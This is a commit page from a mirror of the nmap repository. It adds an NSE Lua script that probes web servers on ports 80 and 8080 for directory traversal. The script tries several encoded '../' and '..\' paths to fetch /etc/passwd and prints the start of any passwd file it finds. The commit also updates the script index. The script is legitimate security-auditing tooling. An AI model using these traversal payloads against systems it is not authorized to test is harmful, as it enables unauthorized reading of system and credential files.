mirror of
https://github.com/nmap/nmap.git
synced 2025-12-21 15:09:02 +00:00
Adding my /etc/passwd directory traversal script (HTTPpasswd.nse)
This commit is contained in:
kris
153
scripts/HTTPpasswd.nse
Normal file
153
scripts/HTTPpasswd.nse
Normal file
@@ -0,0 +1,153 @@
|
||||
-- HTTP probe for /etc/passwd
|
||||
-- 07/20/2007
|
||||
|
||||
-- Started with Thomas Buchanan's HTTPAuth.nse as a base
|
||||
-- Applied some great suggestions from Brandon Enright, thanks a lot man!
|
||||
|
||||
id = "HTTP directory traversal passwd probe"
|
||||
|
||||
description = "Probe for /etc/passwd if server is susceptible to directory traversal"
|
||||
|
||||
author = "Kris Katterjohn <katterjohn@gmail.com>"
|
||||
|
||||
license = "Look at Nmap's COPYING"
|
||||
|
||||
categories = {"intrusive"}
|
||||
|
||||
require "shortport"
|
||||
|
||||
-- Check for a valid HTTP return code, and check
|
||||
-- the supposed passwd file for validity
|
||||
validate = function(response)
|
||||
local passwd
|
||||
local line
|
||||
local start, stop
|
||||
|
||||
-- Hopefully checking for only 200 won't bite me in the ass, but
|
||||
-- it's the only one that makes sense and I haven't seen it fail
|
||||
if string.match(response, "HTTP/1.[01] 200") then
|
||||
start, stop = string.find(response, "\r\n\r\n")
|
||||
passwd = string.sub(response, stop+1)
|
||||
else
|
||||
return
|
||||
end
|
||||
|
||||
start, stop = string.find(passwd, "[\r\n]")
|
||||
line = string.sub(passwd, 1, stop)
|
||||
|
||||
if string.match(line, "^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
|
||||
return passwd
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
-- Connects to host:port, send cmd, and returns the (hopefully valid) response
|
||||
talk = function(host, port, cmd)
|
||||
local socket
|
||||
local response
|
||||
|
||||
socket = nmap.new_socket()
|
||||
|
||||
socket:connect(host.ip, port.number)
|
||||
|
||||
socket:send(cmd)
|
||||
|
||||
response = ""
|
||||
|
||||
while true do
|
||||
local status, lines = socket:receive_lines(1)
|
||||
|
||||
if not status then
|
||||
break
|
||||
end
|
||||
|
||||
response = response .. lines
|
||||
end
|
||||
|
||||
socket:close()
|
||||
|
||||
return validate(response)
|
||||
end
|
||||
|
||||
httpget = function(str)
|
||||
return "GET " .. str .. " HTTP/1.0\r\n\r\n"
|
||||
end
|
||||
|
||||
hexify = function(str)
|
||||
local ret
|
||||
ret = string.gsub(str, "%.", "%%2E")
|
||||
ret = string.gsub(ret, "/", "%%2F")
|
||||
ret = string.gsub(ret, "\\", "%%5C")
|
||||
return ret
|
||||
end
|
||||
|
||||
-- Returns truncated passwd file and returned length
|
||||
truncatePasswd = function(passwd)
|
||||
local len = 250
|
||||
return string.sub(passwd, 1, len), len
|
||||
end
|
||||
|
||||
output = function(passwd, dir)
|
||||
local trunc, len = truncatePasswd(passwd)
|
||||
local out = ""
|
||||
out = out .. "Found with \"" .. dir .. "\"\n"
|
||||
out = out .. "Printing first " .. len .. " bytes:\n"
|
||||
out = out .. trunc
|
||||
return out
|
||||
end
|
||||
|
||||
portrule = shortport.port_or_service({80, 8080}, "http")
|
||||
|
||||
action = function(host, port)
|
||||
local cmd, response
|
||||
local dir
|
||||
|
||||
dir = "//etc/passwd"
|
||||
cmd = httpget(hexify(dir))
|
||||
|
||||
response = talk(host, port, cmd)
|
||||
|
||||
if response then
|
||||
return output(response, dir)
|
||||
end
|
||||
|
||||
dir = string.rep("../", 10) .. "etc/passwd"
|
||||
cmd = httpget(hexify(dir))
|
||||
|
||||
response = talk(host, port, cmd)
|
||||
|
||||
if response then
|
||||
return output(response, dir)
|
||||
end
|
||||
|
||||
dir = "." .. string.rep("../", 10) .. "etc/passwd"
|
||||
cmd = httpget(hexify(dir))
|
||||
|
||||
response = talk(host, port, cmd)
|
||||
|
||||
if response then
|
||||
return output(response, dir)
|
||||
end
|
||||
|
||||
dir = string.rep("..\\/", 10) .. "etc\\/passwd"
|
||||
cmd = httpget(hexify(dir))
|
||||
|
||||
response = talk(host, port, cmd)
|
||||
|
||||
if response then
|
||||
return output(response, dir)
|
||||
end
|
||||
|
||||
dir = string.rep("..\\", 10) .. "etc\\passwd"
|
||||
cmd = httpget(hexify(dir))
|
||||
|
||||
response = talk(host, port, cmd)
|
||||
|
||||
if response then
|
||||
return output(response, dir)
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
@@ -1,37 +1,42 @@
|
||||
Entry{ category = "intrusive", filename = "dns-test-open-recursion.nse" }
|
||||
Entry{ category = "backdoor", filename = "RealVNC_auth_bypass.nse" }
|
||||
Entry{ category = "safe", filename = "showOwner.nse" }
|
||||
Entry{ category = "intrusive", filename = "SSLv2-support.nse" }
|
||||
Entry{ category = "malware", filename = "ircZombieTest.nse" }
|
||||
Entry{ category = "version", filename = "skype_v2-version.nse" }
|
||||
Entry{ category = "demo", filename = "echoTest.nse" }
|
||||
Entry{ category = "backdoor", filename = "RealVNC_auth_bypass.nse" }
|
||||
Entry{ category = "vulnerability", filename = "SQLInject.nse" }
|
||||
Entry{ category = "demo", filename = "daytimeTest.nse" }
|
||||
Entry{ category = "intrusive", filename = "bruteTelnet.nse" }
|
||||
Entry{ category = "discovery", filename = "SMTPcommands.nse" }
|
||||
Entry{ category = "intrusive", filename = "SMTPcommands.nse" }
|
||||
Entry{ category = "discovery", filename = "ripeQuery.nse" }
|
||||
Entry{ category = "demo", filename = "chargenTest.nse" }
|
||||
Entry{ category = "backdoor", filename = "strangeSMTPport.nse" }
|
||||
Entry{ category = "safe", filename = "iax2Detect.nse" }
|
||||
Entry{ category = "discovery", filename = "iax2Detect.nse" }
|
||||
Entry{ category = "demo", filename = "showSMTPVersion.nse" }
|
||||
Entry{ category = "demo", filename = "SMTP_openrelay_test.nse" }
|
||||
Entry{ category = "intrusive", filename = "HTTPAuth.nse" }
|
||||
Entry{ category = "demo", filename = "showHTMLTitle.nse" }
|
||||
Entry{ category = "safe", filename = "showHTMLTitle.nse" }
|
||||
Entry{ category = "backdoor", filename = "mswindowsShell.nse" }
|
||||
Entry{ category = "intrusive", filename = "anonFTP.nse" }
|
||||
Entry{ category = "malware", filename = "kibuvDetection.nse" }
|
||||
Entry{ category = "demo", filename = "SMTP_openrelay_test.nse" }
|
||||
Entry{ category = "discovery", filename = "nbstat.nse" }
|
||||
Entry{ category = "safe", filename = "nbstat.nse" }
|
||||
Entry{ category = "discovery", filename = "SNMPsysdesr.nse" }
|
||||
Entry{ category = "safe", filename = "SNMPsysdesr.nse" }
|
||||
Entry{ category = "intrusive", filename = "HTTPAuth.nse" }
|
||||
Entry{ category = "discovery", filename = "finger.nse" }
|
||||
Entry{ category = "", filename = "showHTTPVersion.nse" }
|
||||
Entry{ category = "intrusive", filename = "SSHv1-support.nse" }
|
||||
Entry{ category = "intrusive", filename = "ftpbounce.nse" }
|
||||
Entry{ category = "vulnerability", filename = "xamppDefaultPass.nse" }
|
||||
Entry{ category = "demo", filename = "showSSHVersion.nse" }
|
||||
Entry{ category = "discovery", filename = "ircServerInfo.nse" }
|
||||
Entry{ category = "demo", filename = "chargenTest.nse" }
|
||||
Entry{ category = "intrusive", filename = "dns-test-open-recursion.nse" }
|
||||
Entry{ category = "discovery", filename = "MSSQLm.nse" }
|
||||
Entry{ category = "intrusive", filename = "MSSQLm.nse" }
|
||||
Entry{ category = "demo", filename = "daytimeTest.nse" }
|
||||
Entry{ category = "intrusive", filename = "SSHv1-support.nse" }
|
||||
Entry{ category = "demo", filename = "echoTest.nse" }
|
||||
Entry{ category = "malware", filename = "kibuvDetection.nse" }
|
||||
Entry{ category = "vulnerability", filename = "xamppDefaultPass.nse" }
|
||||
Entry{ category = "intrusive", filename = "SSLv2-support.nse" }
|
||||
Entry{ category = "intrusive", filename = "zoneTrans.nse" }
|
||||
Entry{ category = "discovery", filename = "zoneTrans.nse" }
|
||||
Entry{ category = "intrusive", filename = "ftpbounce.nse" }
|
||||
Entry{ category = "version", filename = "skype_v2-version.nse" }
|
||||
Entry{ category = "demo", filename = "showSMTPVersion.nse" }
|
||||
Entry{ category = "discovery", filename = "SNMPsysdesr.nse" }
|
||||
Entry{ category = "safe", filename = "SNMPsysdesr.nse" }
|
||||
Entry{ category = "discovery", filename = "nbstat.nse" }
|
||||
Entry{ category = "safe", filename = "nbstat.nse" }
|
||||
Entry{ category = "version", filename = "iax2Detect.nse" }
|
||||
Entry{ category = "version", filename = "HTTP_open_proxy.nse" }
|
||||
Entry{ category = "demo", filename = "showSSHVersion.nse" }
|
||||
Entry{ category = "discovery", filename = "SMTPcommands.nse" }
|
||||
Entry{ category = "intrusive", filename = "SMTPcommands.nse" }
|
||||
Entry{ category = "intrusive", filename = "anonFTP.nse" }
|
||||
Entry{ category = "safe", filename = "robots.nse" }
|
||||
Entry{ category = "discovery", filename = "finger.nse" }
|
||||
Entry{ category = "backdoor", filename = "strangeSMTPport.nse" }
|
||||
Entry{ category = "discovery", filename = "ircServerInfo.nse" }
|
||||
Entry{ category = "backdoor", filename = "mswindowsShell.nse" }
|
||||
Entry{ category = "malware", filename = "ircZombieTest.nse" }
|
||||
Entry{ category = "discovery", filename = "ripeQuery.nse" }
|
||||
Entry{ category = "", filename = "showHTTPVersion.nse" }
|
||||
Entry{ category = "intrusive", filename = "HTTPpasswd.nse" }
|
||||
|
||||
Reference in New Issue
Block a user